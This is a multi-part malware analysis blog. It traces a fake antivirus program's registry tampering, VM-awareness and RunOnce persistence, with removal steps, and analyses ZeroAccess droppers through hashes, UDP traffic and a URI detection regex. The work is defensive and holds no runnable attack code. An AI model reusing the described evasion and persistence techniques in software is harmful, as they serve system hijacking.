Upon launching the malware, like last time, nothing visible happens (at least not immediately). Procmon confirms that there are lot of changes to the Windows Registry prior to the actual hijacking. There are simply too many of these changes to list, but they're all related to disabling any built-in firewall/AV protection on the host. Here's a snapshot of some of the changes happening in procmon: 

You'll notice that most of the changes happen under the following Registry keys:

HKLM\Software\Wow6432Node\Microsoft\Security Center\

There are a few other outliers, but for the most part that's where the changes take place. This goes on for approximately 4 minutes before we see the first sign of infection:

The Windows Security Center service being disabled matches up with the Registry changes we saw moments prior. The process continues and we see another warning within another minute or two:

At this point we still have full control over the host, but that doesn't last long... moments later we get this lovely window that pops up right in the middle of the screen:

This is the first time the user is required to interact with something generated by the malware. It doesn't take long after clicking OK or Cancel on this window before the whole system is hijacked by what we saw at the end of Part 2 of this post. As a quick reminder, here's what the next screen looks like:

This particular malware isn't very resilient, but it DOES do a great job of protecting itself from any sort of modification. One thing I found very interesting is that this malware seems to be VM-aware, as evidenced by it disabling my virtualbox service. Here's the warning that reflects this change (this happened right before the above window pops up):

At this point, the system has been fully hijacked. Remember earlier when I started Sysinternals Desktops in an attempt to retain control over my VM? Well, this malware doesn't seem to care, because it killed Desktops and left me with nothing to switch to. At this point I'm back where I left off at the end of Part 2. So let's talk a little more about what we do know about the malware. 

I had wireshark running on my other VM the whole time this was running and didn't notice a whole lot that was unusual. There was one single UDP request that didn't look right: a DNS query for 

After looking this up, this is definitely not something normal, here's some info on it:

IP Address:
Country of origin: Amsterdam, EU
Registrant: Serverel Corp.

A quick search on urlquery reveals that this is the same IP I noted at the end of Part 2. This is the IP that the FakeAV reaches out to when the user attempts to register or "purchase" the AV software. UrlQuery results are here:
That URL is the same one I noted in Part 1: 

  • hxxp://

So, what else? At this point, I can't do anything useful with my VM, so I reboot in safe mode to look around, where I was able to discover its persistence method. As mentioned in my last post, the malware creates some new files under the ProgramData directory, seen here:

The .exe file is simply a renamed copy of the original exe. The hash matches as well. The .ico file is just that - an icon. The icon is used by the desktop shortcut that is created (System Care Antivirus.lnk). As for persistence, the malware creates an entry under the following registry key:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • C:\ProgramData\B6EF0443E25512750000B6EE4D5C18F9\B6EF0443E25512750000B6EE4D5C18F9.exe

Unfortunately there's not a lot else to say about this malware. It's really quite good at serving its purpose in hijacking the OS and is the first VM-aware malware I've seen. I suspect we'll only see more and more VM-aware malware in the future, which is bad news for us. But thankfully, everything that can be done, can be undone.

Getting rid of this malware is really quite easy. Note: These filenames are randomized, but they always follow a similar format and should be easy to recognize.
  1. Boot into Safe Mode.
  2. Delete the following registry key:
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
      • C:\ProgramData\B6EF0443E25512750000B6EE4D5C18F9\B6EF0443E25512750000B6EE4D5C18F9.exe
  3. Delete the following files:
    • C:\ProgramData\B6EF0443E25512750000B6EE4D5C18F9\B6EF0443E25512750000B6EE4D5C18F9.exe
    • C:\ProgramData\B6EF0443E25512750000B6EE4D5C18F9\B6EF0443E25512750000B6EE4D5C18F9.ico
That's it. Pretty simple. I may try to find some more time to do some static analysis of this particular malware and see if I can gain some measure of control over it, but we'll see. 

Thanks for reading - hope you enjoyed it!


Wednesday, June 26, 2013

Exploring the Darkleech Rabbit Hole - Part 2

So, here we are with part 2 of the lovely rabbit hole post!

about.exe - part 2

Unfortunately the malware from part 1 can't pull down the stage 2 components because the botnet server it was pointing to is offline. Thankfully, I already had copies of the stage 2 components. For the sake of completeness on this part I'll include a few other bits of information about the original traffic. Here's a shot of the encrypted POST request that this malware attempts to make:

You may recognize the /gate.php URI it's attempting to make the POST request to. This should be familiar to anyone who has worked with it before that this is similar to the way some Zeus variants work (Specifically, this looks a LOT like Pony PWS based on the /gate.php POST requests, seen here in my previous post: -- however, analysis of the dropped files and other behavior, seen later, proves that it is not actually Pony/Zeus at all). If the botnet server were online in this case, we would also see some GET requests for additional .exe files (in this case, there were originally two of them... 1.exe and 6.exe). Thankfully I have the two additional exe files from a previous analysis, but I don't have a capture of the original traffic to show you (sorry!).

I do know where the files came from, however:

Botnet IP:
Infected botnet domain:

Scroll back up and look at the TCP stream - notice the host? It's not actually hitting google, the Host parameter in the traffic is spoofed. Something to keep an eye out for! (PS: I see this a lot with various malware, it's not all that uncommon)

1.exe Analysis

The first exe that comes down is 1.exe. VT hits identify this as being part of the Trojan.Graftor family (but don't ever trust automation 100%). Here's some info on it:

File hash: 80E7EE258BCC1293664B687BC2378009
VT Info:

So - let's run this thing and see what it does. :)

The only immediately obvious thing is that it spawns a flash updater installer:

Further investigation reveals this to be fake (as if we didn't know that already). The 'download' will 'fail' when it reaches 100%. Here's the file info on it:

File hash: 2FF9B590342C62748885D459D082295F
VT Info:

0/47 hits huh? The GET request is also going out to which is part of the absolutely massive Akamai CDN. It's also where points to, which makes it look legit, but we already know it's easy to fake a hostname, and Akamai CDN isn't run by Adobe, which only furthers our suspicion of this being malicious. If you take a look at some of the related hash results on VT, they will confirm that this thing is definitely bad:

I'm not going to do anything else with the flash updater, since that's not really what we're focusing on here.

1.exe copies itself to the following directory before deleting the original:

  • C:\$Recycle.Bin\S-1-5-21-2642609715-2370073529-3293857777-1000
A file named Msimg32.dll is created in the path above as well. Info below:

File hash: 4D7AD34C54577DDE3110405ACB28AB42

Seeing references to ZeroAccess in the VT results, but again - we can't always trust automation. However, we're headed in the right direction... more on that later. :)

Looking at the network traffic really starts putting the pieces of the puzzle together. We see many GET requests for the domain

URI regex: "\/count\.php\?page\=\d{6}\&style\=LED\_g\&nbdigits\=\d"
Sample URI: /count.php?page=953000&style=LED_g&nbdigits=9

You can see the GET requests here in Wireshark:

I've seen this sort of traffic before, but it didn't immediately come to me where I had seen it. With the help of @MalwareMustDie, we were able to figure out just where this came from, but it wasn't that traffic that gave it away.

Looking further into the pcap I saw this: is a legitimate geolocation service, but it's a little unusual to see this sort of thing in any traffic where we didn't do this manually, right? A little digging leads us to some VT results for a few ZeroAccess samples (thanks again to @MalwareMustDie for helping me uncover this!). Take a look at "Behavioral Information" under "HTTP requests":

And another:

Okay, so we KNOW that ZeroAccess uses My guess is that it's used by the botnet owner to identify the rough location of all the infected hosts. 

Okay, back to the pcap again and there's some really interesting looking UDP traffic: 

LOTS of UDP requests to/from non-standard ports. Interesting. Let's dig a little deeper into this and see what we can find. First, let's point out some oddities here:
  • Most of the UDP requests have a destination port of 16465
  • The common pattern of destination IP's follows this format: xxx.254.253.254
This was the second part of the traffic that pointed solidly in the direction of this being part of ZeroAccess. Here's a GREAT analysis of ZeroAccess by @MalwareMustDie:

If you search for "UDP\16465", you'll see a lot of similarities. However, we know that Zeus also uses similar methods, so what else can we look into to identify this malware? In this case, the registry changes also help to support the suspicion that this is ZeroAccess. 

Seeing lots of changes to \Internet Settings\ZoneMap - this is a strong indicator of ZeroAccess. In reading through the MMD article linked above, we can see that there are other registry indicators - specifically changes made to \System\CurrentControlSet\services\SharedAccess, seen here:

At this point, I think we can reasonably conclude that this is, in fact, ZeroAccess. Goes to show just how much we have to pay attention when doing malware analysis, or we may head off in the wrong direction. :)

So, in summary:

Malware Type: ZeroAccess Trojan
Initial downloader filename: about.exe (Analysis covered in Part 1 of this post)
First dropped file: 1.exe
1.exe hash: 80E7EE258BCC1293664B687BC2378009
Behavioral details:
  • Spawns downloader for Adobe Flash Installer
  • Copies itself to C:\$Recycle.Bin\S-1-5-21-2642609715-2370073529-3293857777-1000
  • Creates file Msimg32.dll under recycle bin directory above
  • Makes many changes under the following registry keys:
    • \System\CurrentControlSet\Services\SharedAccess
    • \Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zone Map
  • Lots of UDP traffic bound for port 16465
Network traffic info (Note: These IPs may be hosting multiple domains... use caution when blacklisting):
  • UDP/16465 traffic destinations:
    • (University of Texas, United States)
    • (Canar Telecomm, Sudan)
    • (Colombia Telecomm, Colombia)
    • (Sprint/Nextel, United States)
    • (China  Mobile Communication Corporation, China)
    • (Tencent, China)
    • (Menara Multimedia, Indonesia)
    • (Service Provider Corporation, United States)
    • (Sprint, United States)
    • (DoD Network Information Center, United States)
    • (Langfang University, China)
    • (Bharat Sanchar Nigam Limited, Hong Kong)
    • (Reliance Communication, Ltd, India)
    • (Hutchinson Global Communication, China)
    • (OV Telecomm, France)
    • (Optimum Online, United States)
    • (Time Warner, United States)
    • (Comcast, United States)
    • (Swipenet, Sweden)
    • (Uniserver Internet B.V., Netherlands)
  • Domains contacted (Note: domain names may be spoofed)
    • (, Maxmind, United States)
    • (, Pair Networks, United States)
    • (, Akamai Technologies, Inc, United States)
    • (, Xianbiao Xu Xianbiao, Denmark)
And that only covers the first dropped file (and the downloader).

On with the next file...

6.exe Analysis

This is the second file our original malware component from part 1 ends up downloading.

File hash: F604DAF8E12EFAE8302F0ECC2BEDC5CA
VT Info:

It comes from the same location as 1.exe above:

Botnet IP:
Infected botnet domain:
URLQuery page:

Ok, so what does it do?

Nothing immediately obvious, but poking around shows us that it does quite a bit (and it doesn't take long before it really goes crazy... more below). First, it creates two files at the following location:

  • C:\ProgramData\B6EF0443E25512750000B6EE4D5C18F9\
Filename: B6EF0443E25512750000B6EE4D5C18F9.exe
File hash: F604DAF8E12EFAE8302F0ECC2BEDC5CA
VT Info:

Filename: B6EF0443E25512750000B6EE4D5C18F9.ico
File hash: Unknown (see below)
VT Info: N/A

As I was trying to gather more information about the files above, the malware just hijacked everything on my VM with this...

Followed by this: 

I figured it just hid the desktop, since everything quit working the way I wanted it to work. I thought, "I know! I'll just run Sysinternals Desktops and get control of my stuff back!"... And then... DENIED:

Really? *sigh* A little more poking around lead me to quickly discover that this happened with EVERY program I tried to launch. Out of curiosity, I clicked on one of the links in the fakeAV program to see what it would do. It launched a fake web browser and tried to reach out to this:
  • hxxp://

This rabbit hole just keeps going and going... so, I will break the remaining analysis of 6.exe into part 3, which I will try to have up around the same time next week. As always, stay tuned!